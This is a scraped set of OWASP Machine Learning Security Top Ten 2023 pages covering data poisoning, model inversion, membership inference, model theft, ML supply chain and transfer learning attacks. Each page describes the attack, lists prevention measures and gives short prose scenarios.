"ML02:2023 Data Poisoning Attack on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Machine Learning Security Top Ten 2023 | ML02:2023 Data Poisoning Attack | OWASP Foundation", "og:url": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML02_2023-Data_Poisoning_Attack.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "ML02:2023 Data Poisoning Attack"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "How to Prevent"}, {"uroven": 2, "text": "Risk Factors"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1: Training a spam classifier"}, {"uroven": 3, "text": "Scenario #2: Training a network traffic classification system"}, {"uroven": 2, "text": "References"}], "markdown": "# ML02:2023 Data Poisoning Attack\n\n## Description\n\nData poisoning attacks occur when an attacker manipulates the training data to\ncause the model to behave in an undesirable way.\n\n## How to Prevent\n\n**Data validation and verification:** Ensure that the training data is\nthoroughly validated and verified before it is used to train the model. This can\nbe done by implementing data validation checks and employing multiple data\nlabelers to validate the accuracy of the data labeling.\n\n**Secure data storage:** Store the training data in a secure manner, such as\nusing encryption, secure data transfer protocols, and firewalls.\n\n**Data separation:** Separate the training data from the production data to\nreduce the risk of compromising the training data.\n\n**Access control:** Implement access controls to limit who can access the\ntraining data and when they can access it.\n\n**Monitoring and auditing:** Regularly monitor the training data for any\nanomalies and conduct audits to detect any data tampering.\n\n**Model validation:** Validate the model using a separate validation set that\nhas not been used during training. This can help to detect any data poisoning\nattacks that may have affected the training data.\n\n**Model ensembles:** Train multiple models using different subsets of the\ntraining data and use an ensemble of these models to make predictions. This can\nreduce the impact of data poisoning attacks as the attacker would need to\ncompromise multiple models to achieve their goals.\n\n**Anomaly detection:** Use anomaly detection techniques to detect any abnormal\nbehavior in the training data, such as sudden changes in the data distribution\nor data labeling. These techniques can be used to detect data poisoning attacks\nearly on.\n\n## Risk Factors\n\n| Threat Agents/Attack Vectors | Security Weakness | Impact |\n| --- | --- | --- |\n| Exploitability: 3 (Moderate) \n\n *ML Application Specific: 4* \n *ML Operations Specific: 3* | Detectability: 2 (Difficult) | Technical: 4 (Moderate) |\n| Threat Agent: Attacker who has access to the training data used for the model. \n\n Attack Vector: The attacker injects malicious data into the training data set. | Lack of data validation and insufficient monitoring of the training data. | The model will make incorrect predictions based on the poisoned data, leading to false decisions and potentially serious consequences. |\n\nIt is important to note that this chart is only a sample based on\nthe scenario below only. The actual risk assessment will depend on\nthe specific circumstances of each machine learning system.\n\n## Example Attack Scenarios\n\n### Scenario #1: Training a spam classifier\n\nAn attacker poisons the training data for a deep learning model that classifies\nemails as spam or not spam. The attacker executed this attack by injecting the\nmaliciously labeled spam emails into the training data set. This could be done\nby compromising the data storage system, for example by hacking into the network\nor exploiting a vulnerability in the data storage software. The attacker could\nalso manipulate the data labeling process, such as by falsifying the labeling of\nthe emails or by bribing the data labelers to provide incorrect labels.\n\n### Scenario #2: Training a network traffic classification system\n\nAn attacker poisons the training data for a deep learning model that is used to\nclassify network traffic into different categories, such as email, web browsing,\nand video streaming. They introduce a large number of examples of network\ntraffic that are incorrectly labeled as a different type of traffic, causing the\nmodel to be trained to classify this traffic as the incorrect category. As a\nresult, the model may be trained to make incorrect traffic classifications when\nthe model is deployed, potentially leading to misallocation of network resources\nor degradation of network performance.\n\n## References\n\n---\n\n[Watch](https://github.com/owasp/www-project-machine-learning-security-top-10/subscription) [Star](https://github.com/owasp/www-project-machine-learning-security-top-10)", "znaku_textu": 3931, "slov": 595, "odkazu": 35, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:40", "sha256": "2fea9501eb633f41f631b8d57467df5994d7c02067cbf49b46709e3c8b15a7db", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-project-machine-learning-security-top-10/subscription", "https://github.com/owasp/www-project-machine-learning-security-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML03_2023-Model_Inversion_Attack.html", "titulek": "OWASP Machine Learning Security Top Ten 2023 | ML03:2023 Model Inversion Attack | OWASP Foundation", "h1": "ML03:2023 Model Inversion Attack", "popis": "ML03:2023 Model Inversion Attack on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML03_2023-Model_Inversion_Attack", "jazyk": "en", "robots_meta": "", "og": {"og:description": "ML03:2023 Model Inversion Attack on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Machine Learning Security Top Ten 2023 | ML03:2023 Model Inversion Attack | OWASP Foundation", "og:url": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML03_2023-Model_Inversion_Attack.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "ML03:2023 Model Inversion Attack"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "How to Prevent"}, {"uroven": 2, "text": "Risk Factors"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1: Stealing personal information from a face recognition model"}, {"uroven": 3, "text": "Scenario #2: Bypassing a bot detection model in online advertising"}, {"uroven": 2, "text": "References"}], "markdown": "# ML03:2023 Model Inversion Attack\n\n## Description\n\nModel inversion attacks occur when an attacker reverse-engineers the model to\nextract information from it.\n\n## How to Prevent\n\n**Access control:** Limiting access to the model or its predictions can prevent\nattackers from obtaining the information needed to invert the model. This can be\ndone by requiring authentication, encryption, or other forms of security when\naccessing the model or its predictions.\n\n**Input validation:** Validating the inputs to the model can prevent attackers\nfrom providing malicious data that can be used to invert the model. This can be\ndone by checking the format, range, and consistency of the inputs before they\nare processed by the model.\n\n**Model transparency:** Making the model and its predictions transparent can\nhelp to detect and prevent model inversion attacks. This can be done by logging\nall inputs and outputs, providing explanations for the model’s predictions, or\nallowing users to inspect the model’s internal representations.\n\n**Regular monitoring:** Monitoring the model’s predictions for anomalies can\nhelp to detect and prevent model inversion attacks. This can be done by tracking\nthe distribution of inputs and outputs, comparing the model’s predictions to\nground truth data, or monitoring the model’s performance over time.\n\n**Model retraining:** Regularly retraining the model can help to prevent the\ninformation leaked by model inversion attacks from becoming outdated. This can\nbe done by incorporating new data and correcting any inaccuracies in the model’s\npredictions.\n\n## Risk Factors\n\n| Threat Agents/Attack Vectors | Security Weakness | Impact |\n| --- | --- | --- |\n| Exploitability: 4 (Moderate) \n\n *ML Application Specific: 5* \n *ML Operations Specific: 3* | Detectability: 2 (Difficult) | Technical: 4 (Moderate) |\n| Threat Agents: Attackers who have access to the model and input data. \n\n Attack Vectors: Submitting an image to the model and analyzing the model’s response. | Model’s output can be used to infer sensitive information about the input data. | Confidential information about the input data can be compromised. |\n\nIt is important to note that this chart is only a sample based on\nthe scenario below only. The actual risk assessment will depend on\nthe specific circumstances of each machine learning system.\n\n## Example Attack Scenarios\n\n### Scenario #1: Stealing personal information from a face recognition model\n\nAn attacker trains a deep learning model to perform face recognition. They then\nuse this model to perform a model inversion attack on a different face\nrecognition model that is used by a company or organization. The attacker inputs\nimages of individuals into the model and recovers the personal information of\nthe individuals from the model's predictions, such as their name, address, or\nsocial security number.\n\nThe attacker executed this attack by training the model to perform face\nrecognition and then using this model to invert the predictions of another face\nrecognition model. This could be done by exploiting a vulnerability in the\nmodel's implementation or by accessing the model through an API. The attacker\nwould then be able to recover the personal information of the individuals from\nthe model's predictions.\n\n### Scenario #2: Bypassing a bot detection model in online advertising\n\nAn advertiser wants to automate their advertising campaigns by using bots to\nperform actions such as clicking on ads and visiting websites. However, online\nadvertising platforms use bot detection models to prevent bots from performing\nthese actions. To bypass these models, the advertiser trains a deep learning\nmodel for bot detection and uses it to invert the predictions of the bot\ndetection model used by the online advertising platform. The advertiser inputs\ntheir bots into the model and is able to make the bots appear as human users,\nallowing them to bypass the bot detection and successfully execute their\nautomated advertising campaigns.\n\nThe advertiser executed this attack by training their own bot detection model\nand then using it to reverse the predictions of the bot detection model used by\nthe online advertising platform. They were able to access this other model\nthrough a vulnerability in its implementation or by using an API. The end result\nof the attack was the advertiser successfully automating their advertising\ncampaigns by making their bots appear as human users.\n\n## References\n\n---\n\n[Watch](https://github.com/owasp/www-project-machine-learning-security-top-10/subscription) [Star](https://github.com/owasp/www-project-machine-learning-security-top-10)", "znaku_textu": 4523, "slov": 681, "odkazu": 35, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:42", "sha256": "29a36ac6f20970db1b24c3f72defea23852c4feba904a283367357208226a365", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-project-machine-learning-security-top-10/subscription", "https://github.com/owasp/www-project-machine-learning-security-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML04_2023-Membership_Inference_Attack.html", "titulek": "OWASP Machine Learning Security Top Ten 2023 | ML04:2023 Membership Inference Attack | OWASP Foundation", "h1": "ML04:2023 Membership Inference Attack", "popis": "ML04:2023 Membership Inference Attack on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML04_2023-Membership_Inference_Attack", "jazyk": "en", "robots_meta": "", "og": {"og:description": "ML04:2023 Membership Inference Attack on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Machine Learning Security Top Ten 2023 | ML04:2023 Membership Inference Attack | OWASP Foundation", "og:url": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML04_2023-Membership_Inference_Attack.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "ML04:2023 Membership Inference Attack"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "How to Prevent"}, {"uroven": 2, "text": "Risk Factors"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1: Inferencing financial data from a machine learning model"}], "markdown": "# ML04:2023 Membership Inference Attack\n\n## Description\n\nMembership inference attacks occur when an attacker manipulates the model’s\ntraining data in order to cause it to behave in a way that exposes sensitive\ninformation.\n\n## How to Prevent\n\n**Model training on randomized or shuffled data:** Training machine learning\nmodels on randomized or shuffled data can make it more difficult for an attacker\nto determine whether a particular example was included in the training dataset.\n\n**Model Obfuscation:** Obfuscating the model’s predictions by adding random\nnoise or using differential privacy techniques can help prevent membership\ninference attacks by making it harder for an attacker to determine the model’s\ntraining data.\n\n**Regularisation:** Regularisation techniques such as L1 or L2 regularization\ncan help prevent overfitting of the model to the training data, which can reduce\nthe model’s ability to accurately determine whether a particular example was\nincluded in the training dataset.\n\n**Reducing the training data:** Reducing the size of the training dataset or\nremoving redundant or highly correlated features can help reduce the information\nan attacker can gain from a membership inference attack.\n\n**Testing and monitoring:** Regularly testing and monitoring the model’s\nbehavior for anomalies can help detect and prevent membership inference attacks\nby detecting when an attacker is attempting to gain access to sensitive\ninformation.\n\n## Risk Factors\n\n| Threat Agents/Attack Vectors | Security Weakness | Impact |\n| --- | --- | --- |\n| Exploitability: 4 (Moderate) \n\n *ML Application Specific: 5* \n *ML Operations Specific: 3* | Detectability: 3 (Moderate) | Technical: 4 (Moderate) |\n| Threat Actors: Hackers or malicious actors who have access to the data and the model. \n Insiders who have malicious intent or are bribed to interfere with the data. \n\n Attack Vectors: Unsecured data transmission channels that allow unauthorized access to the data. | Lack of proper data access controls. \n\n Lack of proper data validation and sanitization techniques. \n\n Lack of proper data encryption. \n\n Lack of proper data backup and recovery techniques. | Unreliable or incorrect model predictions. \n\n Loss of confidentiality and privacy of sensitive data. \n\n Legal and regulatory compliance violations. \n\n Reputational damage. |\n\nIt is important to note that this chart is only a sample based on\nthe scenario below only. The actual risk assessment will depend on\nthe specific circumstances of each machine learning system.\n\n## Example Attack Scenarios\n\n### Scenario #1: Inferencing financial data from a machine learning model\n\nA malicious attacker wants to gain access to sensitive financial information of\nindividuals. They do this by training a machine learning model on a dataset of\nfinancial records and using it to query whether or not a particular individual’s\nrecord was included in the training data. The attacker can then use this\ninformation to infer the financial history and sensitive information of\nindividuals.\n\nThe attacker executed this attack by training a machine learning model on a\ndataset of financial records obtained from a financial organization. They then\nused this model to query whether or not a particular individual's record was\nincluded in the training data, allowing them to infer sensitive financial\ninformation.\n\n**References:**\n\n---\n\n[Watch](https://github.com/owasp/www-project-machine-learning-security-top-10/subscription) [Star](https://github.com/owasp/www-project-machine-learning-security-top-10)", "znaku_textu": 3449, "slov": 494, "odkazu": 35, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:43", "sha256": "69881804e6b4bdd775bb450941cd7064cbb4df1b7afc33269750640bd0e10155", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-project-machine-learning-security-top-10/subscription", "https://github.com/owasp/www-project-machine-learning-security-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML05_2023-Model_Theft.html", "titulek": "OWASP Machine Learning Security Top Ten 2023 | ML05:2023 Model Theft | OWASP Foundation", "h1": "ML05:2023 Model Theft", "popis": "ML05:2023 Model Theft on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML05_2023-Model_Theft", "jazyk": "en", "robots_meta": "", "og": {"og:description": "ML05:2023 Model Theft on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Machine Learning Security Top Ten 2023 | ML05:2023 Model Theft | OWASP Foundation", "og:url": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML05_2023-Model_Theft.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "ML05:2023 Model Theft"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "How to Prevent"}, {"uroven": 2, "text": "Risk Factors"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1: Stealing a machine learning model from a competitor"}, {"uroven": 2, "text": "References"}], "markdown": "# ML05:2023 Model Theft\n\n## Description\n\nModel theft attacks occur when an attacker gains access to the model’s\nparameters.\n\n## How to Prevent\n\n**Encryption:** Encrypting the model’s code, training data, and other sensitive\ninformation can prevent attackers from being able to access and steal the model.\n\n**Access Control:** Implementing strict access control measures, such as\ntwo-factor authentication, can prevent unauthorized individuals from accessing\nand stealing the model.\n\n**Regular backups:** Regularly backing up the model’s code, training data, and\nother sensitive information can ensure that it can be recovered in the event of\na theft.\n\n**Model Obfuscation:** Obfuscating the model’s code and making it difficult to\nreverse engineer can prevent attackers from being able to steal the model.\n\n**Watermarking:** Adding a watermark to the model’s code and training data can\nmake it possible to trace the source of a theft and hold the attacker\naccountable.\n\n**Legal protection:** Securing legal protection for the model, such as patents\nor trade secrets, can make it more difficult for an attacker to steal the model\nand can provide a basis for legal action in the event of a theft.\n\n**Monitoring and auditing:** Regularly monitoring and auditing the model’s use\ncan help detect and prevent theft by detecting when an attacker is attempting to\naccess or steal the model.\n\n## Risk Factors\n\n| Threat Agents/Attack Vectors | Security Weakness | Impact |\n| --- | --- | --- |\n| Exploitability: 4 (Moderate) \n\n *ML Application Specific: 4* \n *ML Operations Specific: 3* | Detectability: 3 (Moderate) | Technical: 4 (Moderate) |\n| Threat Agent: This refers to the entity that carries out the attack, in this case, it is an attacker who wants to steal the machine learning model. | Unsecured model deployment: The unsecured deployment of the model makes it easier for the attacker to access and steal the model. | The impact of a model theft could be both on the confidentiality of the data used to train the model and the reputation of the organization that developed the model. |\n\nIt is important to note that this chart is only a sample based on\nthe scenario below only. The actual risk assessment will depend on\nthe specific circumstances of each machine learning system.\n\n## Example Attack Scenarios\n\n### Scenario #1: Stealing a machine learning model from a competitor\n\nA malicious attacker is working for a competitor of a company that has developed\na valuable machine learning model. The attacker wants to steal this model so\nthat their company can gain a competitive advantage and start using it for their\nown purposes.\n\nThe attacker executed this attack by reverse engineering the company’s machine\nlearning model, either by disassembling the binary code or by accessing the\nmodel’s training data and algorithm. Once the attacker has reverse engineered\nthe model, they can use this information to recreate the model and start using\nit for their own purposes. This can result in significant financial loss for the\noriginal company, as well as damage to their reputation.\n\n## References\n\n---\n\n[Watch](https://github.com/owasp/www-project-machine-learning-security-top-10/subscription) [Star](https://github.com/owasp/www-project-machine-learning-security-top-10)", "znaku_textu": 3174, "slov": 489, "odkazu": 35, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:43", "sha256": "9f4f23b54ca17254b4cf3f8c20970f81ca1938e89236f1aec4a63d3e88e541a9", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-project-machine-learning-security-top-10/subscription", "https://github.com/owasp/www-project-machine-learning-security-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML06_2023-AI_Supply_Chain_Attacks.html", "titulek": "OWASP Machine Learning Security Top Ten 2023 | ML06:2023 ML Supply Chain Attacks | OWASP Foundation", "h1": "ML06:2023 ML Supply Chain Attacks", "popis": "ML06:2023 ML Supply Chain Attacks on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML06_2023-AI_Supply_Chain_Attacks", "jazyk": "en", "robots_meta": "", "og": {"og:description": "ML06:2023 ML Supply Chain Attacks on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Machine Learning Security Top Ten 2023 | ML06:2023 ML Supply Chain Attacks | OWASP Foundation", "og:url": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML06_2023-AI_Supply_Chain_Attacks.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "ML06:2023 ML Supply Chain Attacks"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "How to Prevent"}, {"uroven": 2, "text": "Risk Factors"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1: Attack on a Machine Learning project dependency"}, {"uroven": 3, "text": "Scenario #2: Attack on a MLOps software used in the organization"}, {"uroven": 3, "text": "Scenario #3: Attack on a ML model hub used by the organization"}, {"uroven": 2, "text": "References"}], "markdown": "# ML06:2023 ML Supply Chain Attacks\n\n## Description\n\nIn ML Supply Chain Attacks threat actors target the supply chain of ML models. This category is broad and important, as software supply chain in Machine Learning includes even more elements than in the case of classic software. It consists of specific elements such as MLOps platforms, data management platforms, model management software, model hubs and other specialized types of software that enable ML engineers to effectively test and deploy software.\n\n## How to Prevent\n\n**Verify packages integrity:** Before using any packages in your infrastructure or application dependencies, verify the authenticity of the package by checking the digital signature of the package.\n\n**Keep packages versions up-to-date:** Constantly monitor the latest versions of the packages in your software supply chain and update your dependencies if you are using outdated software. Use tools such as OWASP Dependency Check. Refer to [https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/](OWASP Top10 A06:2021 – Vulnerable and Outdated Components) for more details\n\n**Install packages from secure sources:** Use secure third-party software repositiories, such as\nAnaconda or pip, that enforce strict security measures and have a vetting process for\npackages.\n\n**Deploy ML infrastructure securely:** Follow the vendor’s deployment recommendations for MLOps platforms in your stack, limit the access to the web UIs from the Internet, monitor the traffic in the infrastructure for the anomalies and possible attacks. If the infrastructure is deployed in the cloud, ensure to leverage the cloud provider’s security features such as Virtual Private Clouds (VPCs), security groups, and identity and access management (IAM) roles to restrict and control access. Implement strict access control measures. Ensure that only authorized personnel have access to the MLOps platforms.\n\n## Risk Factors\n\n| Threat Agents/Attack Vectors | Security Weakness | Impact |\n| --- | --- | --- |\n| Exploitability: 4 (Easy) \n\n *ML Application Specific: 5* \n *ML Operations Specific: 3* | Detectability: 5 (Easy) | Technical: 5 (Moderate) |\n| Threat Actor: Cybercrime groups; malicious business competitors. \n\n Attack Vector: Modifying code of open-source package used by the machine learning project. Exploiting the vulnrability in the MLOps stack. | Relying on untrusted or insecure third-party code or software. | Compromise of the machine learning infrastructure and potential harm to the organization. |\n\nIt is important to note that this chart is only a sample based on\nthe scenarios below only. The actual risk assessment will depend on\nthe specific circumstances of each machine learning system.\n\n## Example Attack Scenarios\n\n### Scenario #1: Attack on a Machine Learning project dependency\n\nThe attacker, that wants to compromise a Machine Learning project, knows that the project relies on several open-source packages and libraries.\n\nDuring the attack, they modify the code of one of the packages that the project relies on, such as NumPy or Scikit-learn. The modified version of the package is then uploaded to a public repository, such as PyPI, making it available for others to download and use. When the victim organization downloads and installs the package, the malicious code is also installed and can be used to compromise the project.\n\nThis type of attack can be particularly dangerous as it can go unnoticed for a long time, since the victim may not realize that the package they are using has been compromised. The attacker’s malicious code can be used to steal sensitive information, modify results, or lead the machine learning model to return erroneous predictions.\n\nThe attacker targets a Machine Learning project that relies on several open-source packages and libraries.\n\n### Scenario #2: Attack on a MLOps software used in the organization\n\nOrganization builds a MLOps pipeline that uses multiple instances of the software supporting the deployment. One of the applications, which is an inference platform, is exposed publicly to the Internet.\n\nAn attacker finds a web interface of the plaftorm available without authentication and gets access to the models, which weren’t meant to be exposed publicly.\n\n### Scenario #3: Attack on a ML model hub used by the organization\n\nAn organization decides to use a model from the public model hub. An attacker finds a way to impersonate the organization account in the model hub and then deploys malicious model to the model hub. The organization employees then download the malicious model and the malicious code is ran in the organization’s environment.\n\n## References\n\n[https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/](OWASP Top10 A06:2021 – Vulnerable and Outdated Components) [https://5stars217.github.io/2023-08-08-red-teaming-with-ml-models/](Model Confusion - Weaponizing ML models for red teams and bounty hunters)\n\n---\n\n[Watch](https://github.com/owasp/www-project-machine-learning-security-top-10/subscription) [Star](https://github.com/owasp/www-project-machine-learning-security-top-10)", "znaku_textu": 5006, "slov": 731, "odkazu": 37, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:44", "sha256": "2ec74e3d33f526d7039f5f98f339bc27b74c80e9545279ae8b68b5159d215f65", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-project-machine-learning-security-top-10/subscription", "https://github.com/owasp/www-project-machine-learning-security-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML07_2023-Transfer_Learning_Attack.html", "titulek": "OWASP Machine Learning Security Top Ten 2023 | ML07:2023 Transfer Learning Attack | OWASP Foundation", "h1": "ML07:2023 Transfer Learning Attack", "popis": "ML07:2023 Transfer Learning Attack on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML07_2023-Transfer_Learning_Attack", "jazyk": "en", "robots_meta": "", "og": {"og:description": "ML07:2023 Transfer Learning Attack on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Machine Learning Security Top Ten 2023 | ML07:2023 Transfer Learning Attack | OWASP Foundation", "og:url": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML07_2023-Transfer_Learning_Attack.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "ML07:2023 Transfer Learning Attack"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "How to Prevent"}, {"uroven": 2, "text": "Risk Factors"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1: Training a model on a malicious dataset"}, {"uroven": 2, "text": "References"}], "markdown": "# ML07:2023 Transfer Learning Attack\n\n## Description\n\nTransfer learning attacks occur when an attacker trains a model on one task and\nthen fine-tunes it on another task to cause it to behave in an undesirable way.\n\n## How to Prevent\n\n**Regularly monitor and update the training datasets:** Regularly monitoring and\nupdating the training datasets can help prevent the transfer of malicious\nknowledge from the attacker's model to the target model.\n\n**Use secure and trusted training datasets:** Using secure and trusted training\ndatasets can help prevent the transfer of malicious knowledge from the\nattacker’s model to the target model.\n\n**Implement model isolation:** Implementing model isolation can help prevent the\ntransfer of malicious knowledge from one model to another. For example,\nseparating the training and deployment environments can prevent attackers from\ntransferring knowledge from the training environment to the deployment\nenvironment.\n\n**Use differential privacy:** Using differential privacy can help protect the\nprivacy of individual records in the training dataset and prevent the transfer\nof malicious knowledge from the attacker’s model to the target model.\n\n**Perform regular security audits:** Regular security audits can help identify\nand prevent transfer learning attacks by identifying and addressing\nvulnerabilities in the system.\n\n## Risk Factors\n\n| Threat Agents/Attack Vectors | Security Weakness | Impact |\n| --- | --- | --- |\n| Exploitability: 5 (Easy) \n\n *ML Application Specific: 4* \nThe attack specifically targets the machine learning application and can cause significant harm to the model and the organization. \n\n *ML Operations Specific: 3* \n The attack requires knowledge of machine learning operations but can be executed with relative ease. | Detectability: 1 (Difficult) \n\n *The attack may be difficult to detect as the results produced by the compromised model may appear to be correct and consistent with expectations.* | Technical: 5 (Difficult) \n\n *The attack requires a high level of technical expertise in machine learning and a willingness to compromise the integrity of the training dataset or pre-trained models.* |\n| Threat Actor: Malicious actor. \n\n Attack Vector: Attacker with knowledge of machine learning and access to the training dataset or pre-trained models. | Lack of proper data protection measures for the training dataset and pre-trained models. \n\n Insecure storage and sharing of pre-trained models. \n\n Lack of proper data protection measures for the pre-trained models and training dataset. | Misleading or incorrect results from the machine learning model. \n\n Confidentiality breach of sensitive information in the training dataset. \n\n Reputational harm to the organization. \n\n Legal or regulatory compliance issues. |\n\nIt is important to note that this chart is only a sample based on\nthe scenario below only. The actual risk assessment will depend on\nthe specific circumstances of each machine learning system.\n\n## Example Attack Scenarios\n\n### Scenario #1: Training a model on a malicious dataset\n\nAn attacker trains a machine learning model on a malicious dataset that contains\nmanipulated images of faces. The attacker wants to target a face recognition\nsystem used by a security firm for identity verification.\n\nThe attacker then transfers the model’s knowledge to the target face recognition\nsystem. The target system starts using the attacker’s manipulated model for\nidentity verification.\n\nAs a result, the face recognition system starts making incorrect predictions,\nallowing the attacker to bypass the security and gain access to sensitive\ninformation. For example, the attacker could use a manipulated image of\nthemselves and the system would identify them as a legitimate user.\n\n## References\n\n---\n\n[Watch](https://github.com/owasp/www-project-machine-learning-security-top-10/subscription) [Star](https://github.com/owasp/www-project-machine-learning-security-top-10)", "znaku_textu": 3846, "slov": 553, "odkazu": 35, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:45", "sha256": "681461440c120cb79bee27fb4a448927eecf0823ba396d0c6ae5eebac8d5f2ce", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-project-machine-learning-security-top-10/subscription", "https://github.com/owasp/www-project-machine-learning-security-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML08_2023-Model_Skewing.html", "titulek": "OWASP Machine Learning Security Top Ten 2023 | ML08:2023 Model Skewing | OWASP Foundation", "h1": "ML08:2023 Model 